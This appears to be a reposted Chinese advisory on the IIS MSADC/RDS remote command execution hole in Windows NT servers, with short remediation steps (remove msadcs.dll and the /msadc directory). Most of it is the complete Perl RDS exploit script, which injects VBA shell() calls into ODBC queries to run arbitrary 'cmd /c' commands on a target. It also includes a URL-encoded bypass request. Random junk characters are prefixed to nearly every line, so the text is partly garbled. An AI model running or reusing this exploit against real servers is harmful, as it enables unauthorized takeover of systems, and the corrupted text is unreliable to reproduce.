IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c"`o V! m Sc03vfmo"N 涉及程序：
}z{2~ 0, Microsoft NT server
2Zt :]be e~]3/ 0 描述：
n,D~ whZ x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
y'\Bp P G|eY$5!i 详细：
rMRM*`Q2 如果你没有时间读详细内容的话，就删除:
^<X+t&!z c:\Program Files\Common Files\System\Msadc\msadcs.dll
N~7xj ? 有关的安全问题就没有了。
`x%v& > jo 0
d# 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
R
gY-fc0 r}kQ<SRx 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&)`xl Iw} 关于利用ODBC远程漏洞的描述，请参看:
>i^8K U On
x[}x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b[&A,ZPh$@ '&/ 35d9|* 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
qxS=8#-`( http://www.microsoft.com/security/bulletins/MS99-025faq.asp O[ tD7 !1 W4n;U-Hb 这里不再论述。
{A 2EGUmF2 H",w$$e F 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Zzy!D %Jy 0?W N /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]WlE9z7:8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/d; C)%$
`4^-@} J2A+x \{< #将下面这段保存为txt文件，然后: "perl -x 文件名"
k#mQLv :|cC7, S #!perl
X(s HFVU+ #
i rj{Or^k # MSADC/RDS 'usage' (aka exploit) script
g/Q"%GN, #
G.v zz-yG # by rain.forest.puppy
_,*ld#'s #
P$LHsg] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
o,o,(sII # beta test and find errors!
l 2&cwjc nx{_^ sK use Socket; use Getopt::Std;
_$s ;QI]x getopts("e:vd:h:XR", \%args);
*12,MO>go -|E|-' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mZGAl1`8 5G5P#< Vv if (!defined $args{h} && !defined $args{R}) {
z TA+s 2 print qq~
0 *!CJ;%N Usage: msadc.pl -h <host> { -d <delay> -X -v }
] 2O52r -h <host> = host you want to scan (ip or domain)
@J J,$ ? -d <seconds> = delay between calls, default 1 second
hcWYz -X = dump Index Server path table, if available
< 1")JDW -v = verbose
},r30` )Q -e = external dictionary file for step 5
:cDhqBMNr` <}e2\x Or a -R will resume a command session
fTQ_miA lP Td!@i[6%H ~; exit;}
kb"g \HR <^xY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"},0Cs if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zadn`B#2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Md!L@gX6< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b|
e7mis@ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<ezv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$|J16tW 5/U|oZM" if (!defined $args{R}){ $ret = &has_msadc;
{NmpTb die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uZ[7[mK}n7 8?p40x$m% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%V r vu5 . "cmd /c ";
:|j,x7 &/{ $in=<STDIN>; chomp $in;
T-" zK r! $command="cmd /c " . $in ;
hC1CISm.U zJ-_{GiM*L if (defined $args{R}) {&load; exit;}
|Z\?nZ~ o }EipTL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>%qk2h> &try_btcustmr;
- P I$SA, DeqTr: print "\nStep 2: Trying to make our own DSN...";
kR+xInDM* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+7yirp~`K y2"PKBK\_ print "\nStep 3: Trying known DSNs...";
2|="!c8K &known_dsn;
:exgdm;N ZUDd LJ print "\nStep 4: Trying known .mdbs...";
Vz=ByyC &known_mdb;
AH*{Bi[vX U 5rcI6 if (defined $args{e}){
+|Tz< \.C print "\nStep 5: Trying dictionary of DSN names...";
?-'m#5i" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/-Saz29f^Q FE}!I
print "Sorry Charley...maybe next time?\n";
(_: k s exit;
9VqE:c / NO(^P+s ##############################################################################
c!,&]*h"k R^_7B ( sub sendraw { # ripped and modded from whisker
aQ@9(j>
F sleep($delay); # it's a DoS on the server! At least on mine...
l/=2P_8+Z my ($pstr)=@_;
U)v['5% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
WCa>~dF> die("Socket problems\n");
$!~R' N c if(connect(S,pack "SnA4x8",2,80,$target)){
$ f++n5I select(S); $|=1;
` 2}Frw +? print $pstr; my @in=<S>;
f W /G_ select(STDOUT); close(S);
:0G_n\
return @in;
u\L=nCtLby } else { die("Can't connect...\n"); }}
$-HP5Kj(k- F0 yvV6; ##############################################################################
jO` b&]0 ;3 N0) sub make_header { # make the HTTP request
r>!$e qX_ my $msadc=<<EOT
Ino$N |G[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^,P#
<,D, User-Agent: ACTIVEDATA
i=m5M ]Ef Host: $ip
9\yGv Content-Length: $clen
"c0I2wq Connection: Keep-Alive
Uavr>- Z*AT &7 ADCClientVersion:01.06
GM1z@i\5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}}R?pU_ )@vhq Vv? --!ADM!ROX!YOUR!WORLD!
H2f!c{t$p Content-Type: application/x-varg
= [N= mC Content-Length: $reqlen
x,CTB 7 9DzrLu EOT
2#<)-Cak ; $msadc=~s/\n/\r\n/g;
kTC' `xv return $msadc;}
:K:oH}4oh :htz] ##############################################################################
bc+~g>o +"s jkdum1 sub make_req { # make the RDS request
&U_YDUQ'L my ($switch, $p1, $p2)=@_;
]l T8Z-h@ my $req=""; my $t1, $t2, $query, $dsn;
^Y;}GeA, $)HD`E if ($switch==1){ # this is the btcustmr.mdb query
%l4;-x<e $query="Select * from Customers where City=" . make_shell();
^M:Y$9r_s $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
zmA]@'j $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~}lYp^~:J ,M4G_ U[ elsif ($switch==2){ # this is general make table query
lpjeEaw o4 $query="create table AZZ (B int, C varchar(10))";
Ri<7!Y?l $dsn="$p1";}
fX
^h O+f n! Dr:$
elsif ($switch==3){ # this is general exploit table query
\wJ2>Q $query="select * from AZZ where C=" . make_shell();
iMT[s b $dsn="$p1";}
"aU)
[ q=EHB 5!q elsif ($switch==4){ # attempt to hork file info from index server
=:w]EpH" $query="select path from scope()";
`u<\
4&W $dsn="Provider=MSIDXS;";}
G_vcuCHm _1c0pQ ^}3 elsif ($switch==5){ # bad query
?S*Cvr+=4 $query="select";
_u[2R=h $dsn="$p1";}
1g{-DIOmn Nld y76|g $t1= make_unicode($query);
u<g 0oEs) $t2= make_unicode($dsn);
r<%ua6@ $req = "\x02\x00\x03\x00";
s6U$]9 ` $req.= "\x08\x00" . pack ("S1", length($t1));
lQ8h -Tz $req.= "\x00\x00" . $t1 ;
h_( #U)z_3 $req.= "\x08\x00" . pack ("S1", length($t2));
/?ZO-]q $req.= "\x00\x00" . $t2 ;
B4D#T lB $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K@f@ vyw] return $req;}
ifXGH>C EZ"n3#/ ##############################################################################
@5[" L 3R}O3#lj, sub make_shell { # this makes the shell() statement
F @%`(/^TA return "'|shell(\"$command\")|'";}
yb-1zF| Q[vQT?J7 ##############################################################################
b p[wr vvTQ! A a sub make_unicode { # quick little function to convert to unicode
X7 bS{GT my ($in)=@_; my $out;
!J6;F}Pd/ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rexNsKRK_ return $out;}
[%uj+?}6O ,+d\@ : ##############################################################################
PeX^aEc H|.cD)&eYy sub rdo_success { # checks for RDO return success (this is kludge)
/e :kBjysJ my (@in) = @_; my $base=content_start(@in);
|]Eli%mNe if($in[$base]=~/multipart\/mixed/){
F3?PlH:Y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
kS7`g A return 0;}
QX`T-)T e r6b;v2!8 ##############################################################################
cXd?48O {^T_ m)|n sub make_dsn { # this makes a DSN for us
/q^\g4J my @drives=("c","d","e","f");
m8T< x> print "\nMaking DSN: ";
n9 %&HDl4 foreach $drive (@drives) {
b2tUJ2p print "$drive: ";
*QGyF`Go{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
HM]mOmL90N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V JJ6q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{f(RY j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
R<)^--n return 0 if $2 eq "404"; # not found/doesn't exist
.eHOG]H if($2 eq "200") {
:~{Nf-y0`1 foreach $line (@results) {
Q,m&XpZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
QVR8b3T@ } return 0;}
<2V:tj)?P {@&%Bq*& ##############################################################################
xXRlQ|84 6Mj (B*c sub verify_exists {
Z1y=L$t8 my ($page)=@_;
M b^E my @results=sendraw("GET $page HTTP/1.0\n\n");
,J4rKGG return $results[0];}
W\pO`FL WAUgbImc{ ##############################################################################
Xl %ax!/ )ppIO"\ sub try_btcustmr {
c-y`Hm2" my @drives=("c","d","e","f");
PB(q9gf"1} my @dirs=("winnt","winnt35","winnt351","win","windows");
BY5ODc$ \Q!I; foreach $dir (@dirs) {
&cSZ?0 R print "$dir -> "; # fun status so you can see progress
YApm)O={ foreach $drive (@drives) {
69? wZfj' print "$drive: "; # ditto
y2o~~ te $reqlen=length( make_req(1,$drive,$dir) ) - 28;
A-&XgOL $reqlenlen=length( "$reqlen" );
v,d
bto0 $clen= 206 + $reqlenlen + $reqlen;
@OGHS} -\ N \t( rp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
! de`K
| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3JFX~"rV9I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
XCd[<\l 6%B) ##############################################################################
):-Ub4A\ _' 0C7 0 sub odbc_error {
NZL$#bRB my (@in)=@_; my $base;
pGdFeEkB/ my $base = content_start(@in);
"qdEu KI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>3?p 23|; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I/hq8v~S $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.Y5o&at6s $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]2 return $in[$base+4].$in[$base+5].$in[$base+6];}
EXEB A&* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4de:h E print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
!Z!X]F-fY $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
?0 x=ascP -d4|EtN ##############################################################################
H7{I[>: $]<wQH/?_ sub verbose {
]99@Lf[ ^f my ($in)=@_;
EdTR] }8 return if !$verbose;
B2^*Sr[ print STDOUT "\n$in\n";}
^oMdx2Ow# WyU \," ##############################################################################
%PlA9@:IZ uZml.#@4 sub save {
phi9/tO\u my ($p1, $p2, $p3, $p4)=@_;
O^~Z-; FA open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E*"oA1/I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"O/
6SV close OUT;}
6 hiWgbE 6FkBb !ASk ##############################################################################
#SX-Y)> 1@ O?$]/d sub load {
?Q~o<%U7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Dnp><% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
BMO &(g @p=<IN>; close(IN);
e0UL r!p $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Z</57w#-7 $target= inet_aton($ip) || die("inet_aton problems");
wE3 fKG. print "Resuming to $ip ...";
LDY3Ya`6m $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hjq@ .5 if($p[1]==1) {
w_P2\B^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
R.Kz n J $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6E{(_i my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
O?t49=uB} if (rdo_success(@results)){print "Success!\n";}
9/JB n else { print "failed\n"; verbose(odbc_error(@results));}}
Wi@YJ elsif ($p[1]==3){
Vr:`?V9Q2( if(run_query("$p[3]")){
I+/fX0-Lib print "Success!\n";} else { print "failed\n"; }}
:E.T2na elsif ($p[1]==4){
fb8)jd'~}O if(run_query($drvst . "$p[3]")){
oTg
'N print "Success!\n"; } else { print "failed\n"; }}
aen0XiB6~^ exit;}
)I"I[jDw PYiO l ##############################################################################
abw5Gz@Ag 'Pe;Tp> ` sub create_table {
no(or5UJ my ($in)=@_;
@~bP| a $reqlen=length( make_req(2,$in,"") ) - 28;
LT#EYnG $reqlenlen=length( "$reqlen" );
3<>DDY2bl $clen= 206 + $reqlenlen + $reqlen;
"j8`)XXa( my @results=sendraw(make_header() . make_req(2,$in,""));
mLfY^&2Pr return 1 if rdo_success(@results);
@=6oB3tQA my $temp= odbc_error(@results); verbose($temp);
bT^(D^ return 1 if $temp=~/Table 'AZZ' already exists/;
^B!()39R? return 0;}
_+ OCI%=: Zi}j f25 ##############################################################################
iu.Jp92 !j/54, sub known_dsn {
-TS5g1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,AH2/^:%c my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q[(1zG%NbA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
05Q4$P "banner", "banners", "ads", "ADCDemo", "ADCTest");
av bup u6 Yp ,!+ foreach $dSn (@dsns) {
T N/y4 (j print ".";
aVZ/e^kk- next if (!is_access("DSN=$dSn"));
S 3s6 if(create_table("DSN=$dSn")){
(>uA(#Z print "$dSn successful\n";
!JtM`x/yR if(run_query("DSN=$dSn")){
YjiMUi\V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2U3 e !V print "Something's borked. Use verbose next time\n";}}} print "\n";}
eV"s5X[$ ?)H:.]7-x ##############################################################################
-<:w{c V iB5q "hoZC sub is_access {
KQ^ |prN?y my ($in)=@_;
QjKh#sU& $reqlen=length( make_req(5,$in,"") ) - 28;
OAaLCpRp $reqlenlen=length( "$reqlen" );
qERJEyU? $clen= 206 + $reqlenlen + $reqlen;
yL %88,/ my @results=sendraw(make_header() . make_req(5,$in,""));
<cxe my $temp= odbc_error(@results);
Z23T 2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&Im-@rV! return 0;}
)J?8"+_Y }tL]EW^ ##############################################################################
V -_MwII- ipE|)Ns sub run_query {
[?bq4u` my ($in)=@_;
PZVH=dagq $reqlen=length( make_req(3,$in,"") ) - 28;
B`YD>oCN $reqlenlen=length( "$reqlen" );
CwD =nT5` $clen= 206 + $reqlenlen + $reqlen;
-2j[;kgt} my @results=sendraw(make_header() . make_req(3,$in,""));
AH?[K,3 return 1 if rdo_success(@results);
KquuM ]5S my $temp= odbc_error(@results); verbose($temp);
.Rt~d^D@ return 0;}
5uV_Pkb?8 w '9!%mr ##############################################################################
Wt.['`c< 7K1_$vd sub known_mdb {
EQQ@nW{; my @drives=("c","d","e","f","g");
xd\ml
37~ my @dirs=("winnt","winnt35","winnt351","win","windows");
RXw1HRR$V my $dir, $drive, $mdb;
1bjz :^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6z] y
=J _sn<"B%> # this is sparse, because I don't know of many
1'P4{T0 [ my @sysmdbs=( "\\catroot\\icatalog.mdb",
bokr,I3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0oZZLi "\\system32\\certmdb.mdb",
z4(`>z2a "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6s>io%,: {0 % my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
q/Zs]Gz "\\cfusion\\cfapps\\forums\\forums_.mdb",
S LNq%7apx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
YP[8d, "\\cfusion\\cfapps\\security\\realm_.mdb",
^\[c][fo "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U'u_'5 { "\\cfusion\\database\\cfexamples.mdb",
~NB|BwAh "\\cfusion\\database\\cfsnippets.mdb",
CM7NdK?I "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
\58bz<u" "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
hhz#I A6, "\\cfusion\\brighttiger\\database\\cleam.mdb",
ss6{+@, "\\cfusion\\database\\smpolicy.mdb",
ky&wv+7
"\\cfusion\\database\cypress.mdb",
o_BRsJy "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#=)!\ "\\website\\cgi-win\\dbsample.mdb",
dc0&*/`: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^rd%{ 6m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GQjwr( ); #these are just
l%xTF@4e foreach $drive (@drives) {
?op;#/Q( foreach $dir (@dirs){
\4>w17qng foreach $mdb (@sysmdbs) {
eSHsE 3}h
print ".";
{|<yZ, ,p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7rYBFSp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5V~vND*
s if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
'h^Ya?g print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
L)4~:f)B } else { print "Something's borked. Use verbose next time\n"; }}}}}
@t0T+T3 |Qcj +HH. foreach $drive (@drives) {
&8yGV i foreach $mdb (@mdbs) {
`PUxR8y print ".";
s}-j.jzB{ if(create_table($drv . $drive . $dir . $mdb)){
$j8CF3d.6 print "\n" . $drive . $dir . $mdb . " successful\n";
fP6 \Ur if(run_query($drv . $drive . $dir . $mdb)){
( P=WKZMPN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
zg'.f UZ } else { print "Something's borked. Use verbose next time\n"; }}}}
[#YzU^^Ib }
e"*1l>g =>kg] ##############################################################################
4GH &u, +XSe;xk;rD sub hork_idx {
A@L r(L print "\nAttempting to dump Index Server tables...\n";
?!<Q8= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7yXJ\(6R_ $reqlen=length( make_req(4,"","") ) - 28;
lMG+,?<uK& $reqlenlen=length( "$reqlen" );
1GIBqs~- $clen= 206 + $reqlenlen + $reqlen;
X&h?1lMJ / my @results=sendraw2(make_header() . make_req(4,"",""));
PVIZ
Y^64 if (rdo_success(@results)){
q [+ h ~) my $max=@results; my $c; my %d;
G
B,O for($c=19; $c<$max; $c++){
ti$60Up $results[$c]=~s/\x00//g;
;nJ 2i?" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
NpCQ4 K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H:OpS-b $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s5 {B1e $d{"$1$2"}="";}
X|/RV4x@Cq foreach $c (keys %d){ print "$c\n"; }
Pt cq/f } else {print "Index server doesn't seem to be installed.\n"; }}
f mJK+ w^=(:`
##############################################################################
CU*TY1 % t)uxW
7 sub dsn_dict {
kr@!j@j$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3,`M\#z%K while(<IN>){
KhP_ U{)D $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
U&{w:P next if (!is_access("DSN=$dSn"));
8aC=k @YE if(create_table("DSN=$dSn")){
_n !>*A! print "$dSn successful\n";
Kv9FqrDj if(run_query("DSN=$dSn")){
kM[!UOnC!< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$0 6('Hg& print "Something's borked. Use verbose next time\n";}}}
4)>UTMF print "\n"; close(IN);}
%O f w"W .t8hTlV?<B ##############################################################################
/I1n${{5 w<zzS: PF* sub sendraw2 { # ripped and modded from whisker
,qo^G0XO sleep($delay); # it's a DoS on the server! At least on mine...
mXS"nd30bD my ($pstr)=@_;
zGNW5S9G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mlLqQ< die("Socket problems\n");
'n1$Y%t if(connect(S,pack "SnA4x8",2,80,$target)){
.{ZJywE< print "Connected. Getting data";
J7C?Z open(OUT,">raw.out"); my @in;
J#F HR/zV select(S); $|=1; print $pstr;
;MK|l,aIQ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
IW>~Yl? close(OUT); select(STDOUT); close(S); return @in;
r> Xk1~<! } else { die("Can't connect...\n"); }}
9W+ D W_M $tI<MZ&Z ##############################################################################
J] w3iYK =tY %` e sub content_start { # this will take in the server headers
lkl y2|wA my (@in)=@_; my $c;
BlZB8KI~ for ($c=1;$c<500;$c++) {
a7uL {*ZR if($in[$c] =~/^\x0d\x0a/){
jIwN,H1$- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
){z #Y#]dP else { return $c+1; }}}
tw =A]
a* return -1;} # it should never get here actually
8SL E*c^8 n*' :,m ##############################################################################
u 8<[Q]5 8~yP?#p sub funky {
UjLq[,_! my (@in)=@_; my $error=odbc_error(@in);
:Ny[?jt c if($error=~/ADO could not find the specified provider/){
LFqY2,#i print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K" |~D0Qgo exit;}
#_`p
0wY if($error=~/A Handler is required/){
^$C&{% print "\nServer has custom handler filters (they most likely are patched)\n";
NFtA2EMLu[ exit;}
MK @rx6<9 if($error=~/specified Handler has denied Access/){
jJNl{nyq print "\nServer has custom handler filters (they most likely are patched)\n";
3TLy m& exit;}}
[i.c;'Wy/ W`c$2KS?DO ##############################################################################
N 3O!8A_ _?y3&4N) sub has_msadc {
|Kjfh};-C my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
xLLTp7b( my $base=content_start(@results);
'p\&Mc_Gu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Cg%Owe/E?0 return 0;}
ki }Li*)7 <P ?gP1_zi ########################
kOdpW kP/<S<h,g &cT OrG 解决方案：
?u;m
],w! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#@5VT* /7 2、移除web 目录: /msadc
